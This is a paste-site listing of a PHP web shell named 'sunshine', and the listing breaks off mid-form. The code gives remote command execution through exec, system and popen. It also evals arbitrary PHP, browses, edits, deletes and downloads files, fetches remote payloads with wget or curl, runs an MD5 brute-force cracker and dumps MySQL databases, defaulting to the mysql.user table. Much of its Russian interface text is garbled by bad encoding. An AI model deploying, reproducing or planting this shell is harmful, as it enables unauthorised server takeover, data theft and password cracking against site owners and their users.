· 8 years ago · Apr 14, 2018, 02:06 PM
1<?php
2session_start();
3error_reporting(E_ALL ^ E_NOTICE);
4$self=$HTTP_SERVER_VARS['PHP_SELF'];
5set_magic_quotes_runtime(0);
6@set_time_limit(0);
7if(@get_magic_quotes_gpc()){foreach ($_POST as $k=>$v){$_POST[$k] = stripslashes($v);}}
8@ini_set('max_execution_time',0);
9(@ini_get('safe_mode')=="1" ? $safe_mode="ON" : $safe_mode="OFF");
10(@ini_get('disable_functions')!="" ? $disfunc=ini_get('disable_functions') : $disfunc=0);
11(strtoupper(substr(PHP_OS, 0, 3))==='WIN' ? $os=1 : $os=0);
12$action=$_POST['action'];
13$file=$_POST['file'];
14$dir=$_POST['dir'];
15$content='';
16$stdata='';
17$style='<STYLE>BODY{background-color: #2b2f34;color: #9acd32;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #31333b;scrollbar-shadow-color: #363940;scrollbar-highlight-color: #363940;scrollbar-3dlight-color: #363940;scrollbar-darkshadow-color: #363940;scrollbar-track-color: #363940;scrollbar-arrow-color: #363940;}input{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}select{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #363940;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #91cd32;text-decoration: none;font-size: 8pt;}a:visited{color: #91cd32;text-decoration: none;font-size: 8pt;}a:hover, a:active{background-color: #A8A8AD;color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}</style>';
18$header='<html><head><title>sunshine</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251">'.$style.'</head><BODY leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0>';
19$footer='</body></html>';
20$lang=array(
21'filext'=>'File already exists.',
22'uploadok'=>'File was successfully uploaded.',
23'dircrt'=>'Dir is created.',
24'dontlist'=>'Listing dir permission denide.',
25'dircrterr'=>'Don\'t create dir.',
26'dirnf'=>'Dir not found.',
27'filenf'=>'File not found.',
28'dontwrdir'=>'Only read current dir.',
29'empty'=>'Directory not empty or access denide.',
30'deletefileok'=>'File deleted.',
31'deletedirok'=>'Dir deleted.',
32'isdontfile'=>'Selected file this is link.',
33'cantrfile'=>'Cant read file, permission denide.',
34'onlyracc'=>'Don\'t edit, only read access.',
35'workdir'=>'Work directory: ',
36'fullacc'=>'Full access.',
37'fullaccdir'=>'Full accees you are can create and delete dir.',
38'thisnodir'=>'This is don\'t dir.',
39'allfuncsh'=>'All function for work sunshine was disabled.'
40);
41
42$act=array('viewer','editor','upload','sunshine','phpeval','download','delete','deletedir','brute','mysql');//here added new actions
43
44function test_file($file){
45if(!file_exists($file))$err="1";
46elseif(!is_file($file)) $err="2";
47elseif(!is_readable($file))$err="3";
48elseif(!is_writable($file))$err="4"; else $err="5";
49return $err;}
50
51function test_dir($dir){
52if(!file_exists($dir))$err="1";
53elseif(!is_dir($dir)) $err="2";
54elseif(!is_readable($dir))$err="3";
55elseif(!is_writable($dir))$err="4"; else $err="5";
56return $err;}
57
58function perms($file){
59 $perms = fileperms($file);
60 if (($perms & 0xC000) == 0xC000) {$info = 's';}
61 elseif (($perms & 0xA000) == 0xA000) {$info = 'l';}
62 elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
63 elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
64 elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
65 elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
66 elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
67 else {$info = 'u';}
68 $info .= (($perms & 0x0100) ? 'r' : '-');
69 $info .= (($perms & 0x0080) ? 'w' : '-');
70 $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
71 $info .= (($perms & 0x0020) ? 'r' : '-');
72 $info .= (($perms & 0x0010) ? 'w' : '-');
73 $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
74 $info .= (($perms & 0x0004) ? 'r' : '-');
75 $info .= (($perms & 0x0002) ? 'w' : '-');
76 $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
77 return $info;}
78
79function view_size($size){
80 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
81 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
82 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
83 else {$size = $size . " B";}
84 return $size;}
85
86if(isset($action)){if(!in_array($action,$act))$action="viewer";else $action=$action;}else $action="viewer";
87
88if(isset($dir)){
89 $ts['test']=test_dir($dir);
90 switch($ts['test']){
91 case 1:$stdata.=$lang['dirnf'];break;
92 case 2:$stdata.=$lang['thisnodir'];break;
93 case 3:$stdata.=$lang['dontlist'];break;
94 case 4:$stdata.=$lang['dontwrdir'];$dir=chdir($GLOBALS['dir']);break;
95 case 5:$stdata.=$lang['fullaccdir'];$dir=chdir($GLOBALS['dir']);break;}
96}else $dir=@chdir($dir);
97
98$dir=getcwd()."/";
99$dir=str_replace("\\","/",$dir);
100
101if(isset($file)){
102 $ts['test1']=test_file($file);
103 switch ($ts['test1']){
104 case 1:$stdata.=$lang['filenf'];break;
105 case 2:$stdata.=$lang['isdontfile'];break;
106 case 3:$stdata.=$lang['cantrfile'];break;
107 case 4:$stdata.=$lang['onlyracc'];$file=$file;break;
108 case 5:$stdata.=$lang['fullacc'];$file=$file;break;}
109}
110
111function sunshine($cmd)
112{
113 global $lang;
114 $ret = '';
115 if (!empty($cmd))
116 {
117 if(function_exists('exec')){@exec($cmd,$ret);$ret = join("\n",$ret);}
118 elseif(function_exists('sunshine_exec')){$ret = @sunshine_exec($cmd);}
119 elseif(function_exists('system')){@ob_start();@system($cmd);$ret = @ob_get_contents();@ob_end_clean();}
120 elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$ret = @ob_get_contents();@ob_end_clean();}
121 elseif(@is_resource($f = @popen($cmd,"r"))){$ret = "";while(!@feof($f)) { $ret .= @fread($f,1024); }@pclose($f);}
122 else $ret=$lang['allfuncsh'];
123 }
124 return $ret;
125}
126
127function createdir($dir){mkdir($dir);}
128
129//delete file
130if($action=="delete"){
131if(unlink($file)) $content.=$lang['deletefileok']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>";
132}
133//delete dir
134if($action=="deletedir"){
135if(!rmdir($file)) $content.=$lang['empty']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>";
136else $content.=$lang['deletedirok']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>";
137}
138//sunshine
139if($action=="sunshine"){
140$content.="<form method=\"POST\">
141<input type=\"hidden\" name=\"action\" value=\"sunshine\">
142<textarea name=\"command\" rows=\"5\" cols=\"150\">".@$_POST['command']."</textarea><br>
143<textarea readonly rows=\"15\" cols=\"150\">".convert_cyr_string(htmlspecialchars(sunshine($_POST['command'])),"d","w")."</textarea><br>
144<input type=\"submit\" value=\"execute\"></form>";}
145//editor
146if($action=="editor"){
147 $stdata.="<tr><td><form method=POST>
148 <input type=\"hidden\" name=\"action\" value=\"editor\">
149 <input type=\"hidden\" name=\"dir\" value=\"".$dir."\">
150 Open file:<input type=text name=file value=\"".($file=="" ? $file=$dir : $file=$file)."\" size=50><input type=submit value=\">>\"></form>";
151 function writef($file,$data){
152 $fp = fopen($file,"w+");
153 fwrite($fp,$data);
154 fclose($fp);
155}
156 function readf($file){
157 clearstatcache();
158 $f=fopen($file, "r");
159 $contents = fread($f,filesize($file));
160 fclose($f);
161 return htmlspecialchars($contents);
162}
163if(@$_POST['save'])writef($file,$_POST['data']);
164if(@$_POST['create'])writef($file,"");
165$test=test_file($file);
166if($test==1){
167$content.="<form method=\"POST\">
168<input type=\"hidden\" name=\"action\" value=\"editor\">
169File name:<input type=\"text\" name=\"file\" value=\"".$file."\" size=\"50\"><br>
170<input type=\"submit\" name=\"create\" value=\"Create new file with this name?\">
171<input type=\"reset\" value=\"No\"></form>";
172}
173if($test>2){
174$content.="<form method=\"POST\">
175<input type=\"hidden\" name=\"action\" value=\"editor\">
176<input type=\"hidden\" name=\"file\" value=\"".$file."\">
177<textarea name=\"data\" rows=\"30\" cols=\"180\">".@readf($file)."</textarea><br>
178<input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>";
179}}
180//viewer
181if($action=="viewer"){
182$content.="<table cellSpacing=0 border=2 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";
183$content.="<tr><td><form method=POST><br>Open directory: <input type=text name=dir value=\"".$dir."\" size=50><input type=submit value=\">>\"></form>";
184 if (is_dir($dir)) {
185 if (@$dh = opendir($dir)) {
186 while (($file = readdir($dh)) !== false) {
187 if(filetype($dir . $file)=="dir") $dire[]=$file;
188 if(filetype($dir . $file)=="file")$files[]=$file;
189 }
190 closedir($dh);
191 @sort($dire);
192 @sort($files);
193 if ($GLOBALS['os']==1) {
194 $content.="<tr><td>Select drive:";
195 for ($j=ord('C'); $j<=ord('Z'); $j++)
196 if (@$dh = opendir(chr($j).":/"))
197 $content.='<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.chr($j).':/\'; document.reqs.submit();"> '.chr($j).'<a/>';
198 $content.="</td></tr>";
199 }
200 $content.="<tr><td>Name dirs and files</td><td>type</td><td>size</td><td>permission</td><td>options</td></tr>";
201 for($i=0;$i<count($dire);$i++) {
202 $link=$dir.$dire[$i];
203 $content.='<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$link.'\'; document.reqs.submit();">'.$dire[$i].'<a/></td><td>dir</td><td></td><td>'.perms($link).'</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
204 }
205 for($i=0;$i<count($files);$i++) {
206 $linkfile=$dir.$files[$i];
207 $content.='<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();">'.$files[$i].'</a><br></td><td>file</td><td>'.view_size(filesize($linkfile)).'</td><td>'.perms($linkfile).'</td><td><a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Download">D</a><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Edit">E</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
208 }
209 $content.="</table>";
210}}}
211//downloader
212if($action=="download"){
213header('Content-Length:'.filesize($file).'');
214header('Content-Type: application/octet-stream');
215header('Content-Disposition: attachment; filename="'.$file.'"');
216readfile($file);}
217//phpeval
218if($action=="phpeval"){
219$content.="<form method=\"POST\">
220 <input type=\"hidden\" name=\"action\" value=\"phpeval\">
221 <input type=\"hidden\" name=\"dir\" value=\"".$dir."\">
222 <?php<br>
223 <textarea name=\"phpev\" rows=\"5\" cols=\"150\">".@$_POST['phpev']."</textarea><br>
224 ?><br>
225 <input type=\"submit\" value=\"execute\"></form>";
226if(isset($_POST['phpev']))$content.=eval($_POST['phpev']);}
227//upload
228if($action=="upload"){
229 if(isset($_POST['dirupload'])) $dirupload=$_POST['dirupload'];else $dirupload=$dir;
230 $form_win="<table><form method=POST enctype=multipart/form-data>
231 <tr><td><input type=\"hidden\" name=\"action\" value=\"upload\">
232 Upload to dir: <input type=text name=dirupload value=\"".$dirupload."\" size=50><tr><td>New file name: <input type=text name=filename></td></tr><tr><td><input type=file name=file> <input type=submit name=uploadloc value='Upload local file'></td></tr>";
233 if($os==1)$content.=$form_win;
234 if($os==0){
235 $content.=$form_win;
236 $content.='<tr><td><select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>File addres:<input type=text name=urldown>
237<input type=submit name=upload value=Upload></form></td></tr>';
238}
239
240if(isset($_POST['uploadloc'])){
241if(!isset($_POST['filename'])) $uploadfile = $dirupload.basename($_FILES['file']['name']); else
242$uploadfile = $dirupload."/".$_POST['filename'];
243
244if(test_dir($dirupload)==1 && test_dir($dir)!=3 && test_dir($dir)!=4){createdir($dirupload);}
245if(file_exists($uploadfile))$content.=$lang['filext'];
246elseif (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
247$content.=$lang['uploadok'];
248}
249
250if(isset($_POST['upload'])){
251 if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename']))
252 switch($_POST['with'])
253 {
254 case wget:sunshine(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");break;
255 case fetch:sunshine(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");break;
256 case lynx:sunshine(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;
257 case links:sunshine(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;
258 case GET:sunshine(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");break;
259 case curl:sunshine(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");break;
260}}}
261//Brute
262if($action=="brute"){
263
264function Brute() {
265 global $action,$pass_de,$chars_de,$dat,$date;
266ignore_user_abort(1);
267}
268if($chars_de==""){$chars_de="";}
269$content="<table><form action='$php_self' method=post name=md5><tr><td><b>Decrypte MD5</b>
270<tr><td> MD5 õåø:<b>".$pass_de."</b></td>
271<input type='hidden' name='action' value='$action'>
272<tr><td> <textarea class='inputbox' name='chars_de' cols='50' rows='5'>".$chars_de."</textarea></td>
273<td><b>Ãåðåáîð áóêâ:</b><br><font color=red><b><u>ENG:</u></b></font>
274<a class=menu href=javascript:ins('abcdefghijklmnopqrstuvwxyz')>[a-z]</a>
275<a class=menu href=javascript:ins('ABCDEFGHIJKLMNOPQRSTUVWXYZ')>[A-Z]</a><br>
276<a class=menu href=javascript:ins('0123456789')>[0-9]</a>
277<a class=menu href=javascript:ins('~`\!@#$%^&*()-_+=|/?><[]{}:¹.,"')>[Ñèìâîëû]</a><br><br>
278<font color=red><b><u>RUS:</u></b></font>
279<a class=menu href=javascript:ins('à áâãäå¸æçèéêëìÃîïðñòóôõö÷øùúûüýþÿ')>[à -ÿ]</a>
280<a class=menu href=javascript:ins('ÀÃÂÃÄŨÆÇÈÉÊËÌÃÃŽÃÃÑÒÓÔÕÖ×ØÙÚÛÜÃÞß')>[À-ß]</a>
281<br></br><input type=reset value=Î÷èñòèòü class=button1></td></tr>
282<tr><td> <input class='inputbox' type='text' name='pass_de' size=50 onclick=this.value=''>
283</td><td><input type='submit' value='Decrypt MD5' class=button1></td></tr></form>
284<script>
285function ins(text){
286document.md5.chars_de.value+=text;
287document.md5.chars_de.focus();}
288</script>";
289
290if($_POST[pass_de]){
291$pass_de=htmlspecialchars($pass_de);
292$pass_de=stripslashes($pass_de);
293$dat=date("H:i:s");
294$date=date("d:m:Y");
295}
296{
297crack_md5();
298}
299}
300function crack_md5() {
301global $chars_de;
302$chars=$_POST[chars];
303set_time_limit(0);
304ignore_user_abort(1);
305$chars_de=str_replace("<",chr(60),$chars_de);
306$chars_de=str_replace(">",chr(62),$chars_de);
307$c=strlen($chars_de);
308for ($next = 0; $next <= 31; $next++) {
309for ($i1 = 0; $i1 <= $c; $i1++) {
310$word[1] = $chars_de{$i1};
311for ($i2 = 0; $i2 <= $c; $i2++) {
312$word[2] = $chars_de{$i2};
313if ($next <= 2) {
314result(implode($word));
315}else {
316for ($i3 = 0; $i3 <= $c; $i3++) {
317$word[3] = $chars_de{$i3};
318if ($next <= 3) {
319result(implode($word));
320}else {
321for ($i4 = 0; $i4 <= $c; $i4++) {
322$word[4] = $chars_de{$i4};
323if ($next <= 4) {
324result(implode($word));
325}else {
326for ($i5 = 0; $i5 <= $c; $i5++) {
327$word[5] = $chars_de{$i5};
328if ($next <= 5) {
329result(implode($word));
330}else {
331for ($i6 = 0; $i6 <= $c; $i6++) {
332$word[6] = $chars_de{$i6};
333if ($next <= 6) {
334result(implode($word));
335}else {
336for ($i7 = 0; $i7 <= $c; $i7++) {
337$word[7] = $chars_de{$i7};
338if ($next <= 7) {
339result(implode($word));
340}else {
341for ($i8 = 0; $i8 <= $c; $i8++) {
342$word[8] = $chars_de{$i8};
343if ($next <= 8) {
344result(implode($word));
345}else {
346for ($i9 = 0; $i9 <= $c; $i9++) {
347$word[9] = $chars_de{$i9};
348if ($next <= 9) {
349result(implode($word));
350}else {
351for ($i10 = 0; $i10 <= $c; $i10++) {
352$word[10] = $chars_de{$i10};
353if ($next <= 10) {
354result(implode($word));
355}else {
356for ($i11 = 0; $i11 <= $c; $i11++) {
357$word[11] = $chars_de{$i11};
358if ($next <= 11) {
359result(implode($word));
360}else {
361for ($i12 = 0; $i12 <= $c; $i12++) {
362$word[12] = $chars_de{$i12};
363if ($next <= 12) {
364result(implode($word));
365}else {
366for ($i13 = 0; $i13 <= $c; $i13++) {
367$word[13] = $chars_de{$i13};
368if ($next <= 13) {
369result(implode($word));
370}else {
371for ($i14 = 0; $i14 <= $c; $i14++) {
372$word[14] = $chars_de{$i14};
373if ($next <= 14) {
374result(implode($word));
375}else {
376for ($i15 = 0; $i15 <= $c; $i15++) {
377$word[15] = $chars_de{$i15};
378if ($next <= 15) {
379result(implode($word));
380}else {
381for ($i16 = 0; $i16 <= $c; $i16++) {
382$word[16] = $chars_de{$i16};
383if ($next <= 16) {
384result(implode($word));
385}else {
386for ($i17 = 0; $i17 <= $c; $i17++) {
387$word[17] = $chars_de{$i17};
388if ($next <= 17) {
389result(implode($word));
390}else {
391for ($i18 = 0; $i18 <= $c; $i18++) {
392$word[18] = $chars_de{$i18};
393if ($next <= 18) {
394result(implode($word));
395}else {
396for ($i19 = 0; $i19 <= $c; $i19++) {
397$word[19] = $chars_de{$i19};
398if ($next <= 19) {
399result(implode($word));
400}else {
401for ($i20 = 0; $i20 <= $c; $i20++) {
402$word[20] = $chars_de{$i20};
403if ($next <= 20) {
404result(implode($word));
405}else {
406for ($i21 = 0; $i21 <= $c; $i21++) {
407$word[21] = $chars_de{$i21};
408if ($next <= 21) {
409result(implode($word));
410}else {
411for ($i22 = 0; $i22 <= $c; $i22++) {
412$word[22] = $chars_de{$i22};
413if ($next <= 22) {
414result(implode($word));
415}else {
416for ($i23 = 0; $i23 <= $c; $i23++) {
417$word[23] = $chars_de{$i23};
418if ($next <= 23) {
419result(implode($word));
420}else {
421for ($i24 = 0; $i24 <= $c; $i24++) {
422$word[24] = $chars_de{$i24};
423if ($next <= 24) {
424result(implode($word));
425}else {
426for ($i25 = 0; $i25 <= $c; $i25++) {
427$word[25] = $chars_de{$i25};
428if ($next <= 25) {
429result(implode($word));
430}else {
431for ($i26 = 0; $i26 <= $c; $i26++) {
432$word[26] = $chars_de{$i26};
433if ($next <= 26) {
434result(implode($word));
435}else {
436for ($i27 = 0; $i27 <= $c; $i27++) {
437$word[27] = $chars_de{$i27};
438if ($next <= 27) {
439result(implode($word));
440}else {
441for ($i28 = 0; $i28 <= $c; $i28++) {
442$word[28] = $chars_de{$i28};
443if ($next <= 28) {
444result(implode($word));
445}else {
446for ($i29 = 0; $i29 <= $c; $i29++) {
447$word[29] = $chars_de{$i29};
448if ($next <= 29) {
449result(implode($word));
450}else {
451for ($i30 = 0; $i30 <= $c; $i30++) {
452$word[30] = $chars_de{$i30};
453if ($next <= 30) {
454result(implode($word));
455}else {
456for ($i31 = 0; $i31 <= $c; $i31++) {
457$word[31] = $chars_de{$i31};
458if ($next <= 31) {
459result(implode($word));
460}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
461
462function result($word) {
463global $dat,$date;
464$pass_de=$_POST[pass_de];
465$dat2=date("H:i:s");
466$date2=date("d:m:Y");
467
468if(md5($word)==$pass_de){
469
470
471
472echo "<STYLE>BODY{background-color: #2b2f34;color: #9acd32;</STYLE><table><tr><td>Ãåçóëüòà ò âûïîëÃÃ¥Ãèÿ ïåðåáîðà ïà ðîëåé:</td></tr>
473<tr><td>Çà õåøèðîâà ÃÃûé ïà ðîëü:</b></td><td><font color=red> $word</font></td></tr>
474<tr><td>Ãà ÷à ëî ïåðåáîðà :</td><td> $dat - $date</td></tr>
475<tr><td>ÎêîÃֈ Ãèå ïåðåáîðà :</td><td> $dat2 - $date2</td></tr>
476<tr><td>ÂûïîëÃÃ¥Ãèå ïåðåáîðà õåøåé çà ïèñà à â ôà éë: ".$word."_md5</td></tr></table>";
477
478
479
480$f=@fopen($word._md5,"a+");
481fputs($f,"Õýø èç MD5 [$pass_de] = $word
482Ãà ÷à ëî ïåðåáîðà :\t$dat - $date
483ÎêîÃֈ Ãèå ïåðåáîðà :\t$dat2 - $date2");
484exit;
485}}
486
487//Mysql
488
489if($action=="mysql"){
490if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
491 if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
492 $db = @mysql_connect('localhost',$_POST['mysql_l'],$_POST['mysql_p']);
493 if($db)
494 {
495 if(@mysql_select_db($_POST['mysql_db'],$db))
496 {
497 $sql1 .= "# ---------------------------------\r\n";
498 $sql1 .= "# date : ".date ("j F Y g:i")."\r\n";
499 $sql1 .= "# database : ".$_POST['mysql_db']."\r\n";
500 $sql1 .= "# table : ".$_POST['mysql_tbl']."\r\n";
501 $sql1 .= "# ---------------------------------\r\n\r\n";
502
503 $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
504 $row = @mysql_fetch_row($res);
505 $sql1 .= $row[1]."\r\n\r\n";
506 $sql1 .= "# ---------------------------------\r\n\r\n";
507
508 $sql2 = '';
509
510 $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
511 if (@mysql_num_rows($res) > 0) {
512 while ($row = @mysql_fetch_assoc($res)) {
513 $keys = @implode("`, `", @array_keys($row));
514 $values = @array_values($row);
515 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
516 $values = @implode("', '", $values);
517 $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".$values."');\r\n";
518 }
519 $sql2 .= "\r\n# ---------------------------------";
520 }
521 $content.="<center><b>Ãîòîâî! Äà ìï ïðîøåë óäà ÷Ãî!</b></center>";
522 if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
523 else { echo $sql1.$sql2; }
524 } // end if(@mysql_select_db($_POST['mysql_db'],$db))
525 else $content.="<center><b>Òà êîé ÃÄ Ãåò!</b></center>";
526 @mysql_close($db);
527 }
528 } // end if(($_POST['dif']&&$fp)||(!$_POST['dif'])){
529 else if(!empty($_POST['dif'])&&!$fp) { $content.="<center><b>ÎØÈÃÊÀ, Ãåò ïðà â çà ïèñè â ôà éë!</b></center>"; }
530
531$content.="<form name='mysql_dump' action='$php_self' method='post'>
532<input type='hidden' name='action' value='$action'>
533 Ãà çà : <input type=text name=mysql_db size=15 value=";
534$content.=(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"));
535$content.="> Òà áëèöà : <input type=text name=mysql_tbl size=15 value=";
536$content.=(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"));
537$content.="> ËîãèÃ: <input type=text name=mysql_l size=15 value=";
538$content.=(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"));
539$content.="> Ãà ðîëü: <input type=text name=mysql_p size=15 value=";
540$content.=(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"));
541$content.="><input type=hidden name=dir size=85 value=".$dir.">
542<input type=hidden name=cmd size=85 value=mysql_dump>
543<br> Ñîõðà Ãèòü äà ìï â ôà éëå: <input type=checkbox name=dif value=1 id=dif><input type=text name=dif_name size=80 value=";
544$content.=(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"));
545$content.="><input type=submit name=submit value=Ñîõðà Ãèòü></form>";
546
547@$php_self=$_POST['PHP_SELF'];
548@$from=$_POST['from'];
549@$to=$_POST['to'];
550@$adress=$_POST['adress'];
551@$port=$_POST['port'];
552@$login=$_POST['login'];
553@$pass=$_POST['pass'];
554@$adress=$_POST['adress'];
555@$port=$_POST['port'];
556@$login=$_POST['login'];
557@$pass=$_POST['pass'];
558if(!isset($adress)){$adress="localhost";}
559if(!isset($login)){$login="root";}
560if(!isset($pass)){$pass="";}
561if(!isset($port)){$port="3306";}
562if(!isset($from)){$from=0;}
563if(!isset($to)){$to=50;}
564
565if(!@$conn){
566$content.="<form name='mysql_dump' action='$php_self' method='post'>
567<table><tr><td valign=top>
568<input type='hidden' name='action' value='$action'>
569<input type=hidden name=ac value=sql>
570<tr><td valign=top>Õîñò: <input name=adress value='$adress' size=20>
571<tr><td valign=top>Ãîðò: <input name=port value='$port' size=20>
572<tr><td valign=top>ËîãèÃ: <input name=login value='$login' size=20>
573<tr><td valign=top>Ãà ðîëü: <input name=pass value='$pass' size=20>
574<input type=hidden name=p value=sql></td></tr>
575<tr><td></td><td><input type=submit name=conn value=Ãîäêëþ÷èòüñÿ></form></td></tr>
576</table>";
577}
578@$conn=$_POST['conn'];
579@$adress=$_POST['adress'];
580@$port=$_POST['port'];
581@$login=$_POST['login'];
582@$pass=$_POST['pass'];
583if($conn){
584
585$serv = @mysql_connect("$adress:$port", "$login", "$pass") or die("ÎØÈÃÊÀ: ".mysql_error());
586if($serv){
587$content.="<form name='conn' action='$php_self' method='post'><input type=hidden name=conn value=0>
588<input type='hidden' name='action' value='$action'>
589Ñòà òóñ: Ãîäêëþ÷åà : <input type=submit name=exit value='Âûéòè èç áà çû'></form>
590<table><tr><td><font color=red>[Òà áëèöû]<br></br>";
591}
592$res = mysql_list_dbs($serv);
593while ($str=mysql_fetch_row($res)){
594$content.= "<table><a href=\"#\" onclick=\"document.dump1.db.value='$str[0]';document.dump1.tbl.value='$str[0]';document.dump1.submit();\">$str[0]</a></table>";
595@$tc++;
596}
597$content.="<form name='dump1' action='$php_self' method='POST'>
598<input type='hidden' name='action' value='$action'>
599<input type=hidden name=ac value=sql>
600<input name=base value='1' type=hidden>
601<input name=db value='$str[0]' type=hidden>
602<input name=p value='sql' type=hidden>
603<input name=adress value='$adress' type=hidden>
604<input name=port value='$port' type=hidden>
605<input name=login value='$login' type=hidden>
606<input name=pass value='$pass' type=hidden>
607<input name=conn value='1' type=hidden>
608<input name=tbl value='$str[0]' type=hidden></form>";
609
610@$base=$_POST['base'];
611@$db=$_POST['db'];
612$content.="<br></br><font color=red>[Âñåãî òà áëèö: $tc]";
613if($base){
614$content.="<br></br><font color=red>Òà áëèöà : [$tbl]<br>";
615$result=mysql_list_tables($db);
616while($str=mysql_fetch_array($result)){
617$c=mysql_query ("SELECT COUNT(*) FROM $str[0]");
618$records=mysql_fetch_array($c);
619$content.="<table><font color=red>[$records[0]]</font><a href=\"#\" onclick=\"document.dump2.vn.value='$str[0]';document.dump2.tbl.value='$str[0]';document.dump2.submit();\">$str[0]</a></table>";
620
621mysql_free_result($c);
622}}
623$content.="<form name='dump2' action='$php_self' method='post'>
624<input type='hidden' name='action' value='$action'>
625<input type=hidden name=ac value=sql>
626<input name=inside value='1' type=hidden>
627<input name=base value='1' type=hidden>
628<input name=vn value='$str[0]' type=hidden>
629<input name=db value='$db' type=hidden>
630<input name=p value='sql' type=hidden>
631<input name=adress value='$adress' type=hidden>
632<input name=port value='$port' type=hidden>
633<input name=login value='$login' type=hidden>
634<input name=pass value='$pass' type=hidden>
635<input name=tbl value='$str[0]' type=hidden>
636<input name=conn value='1' type=hidden></form>";
637
638@$vn=$_POST['vn'];
639$content.= "<td valign=top>Ãà çà äà ÃÃûõ: $db => $vn<br>";
640@$inside=$_POST['inside'];
641@$tbl=$_POST['tbl'];
642if($inside){
643$content.= "<table cellpadding=0 cellspacing=1><tr>";
644
645mysql_select_db($db) or die(mysql_error());
646$c=mysql_query ("SELECT COUNT(*) FROM $tbl");
647$cfa=mysql_fetch_array($c);
648mysql_free_result($c);
649$content.= "Âñåãî: $cfa[0]<form name='mysql_dump' action='$php_self' method='post'>
650<input type='hidden' name='action' value='$action'>
651<input type=hidden name=ac value=sql>
652Îò: <input name=from size=3 value=0>
653Äî: <input name=to size=3 value=$cfa[0]>
654<input type=submit name=show value='Çà ãðóçèòü'>
655<input type=hidden name=inside value=1>
656<input type=hidden name=vn value=$vn>
657<input type=hidden name=db value=$db>
658<input type=hidden name=login value=$login>
659<input type=hidden name=pass value=$pass>
660<input type=hidden name=adress value=$adress>
661<input type=hidden name=conn value=1>
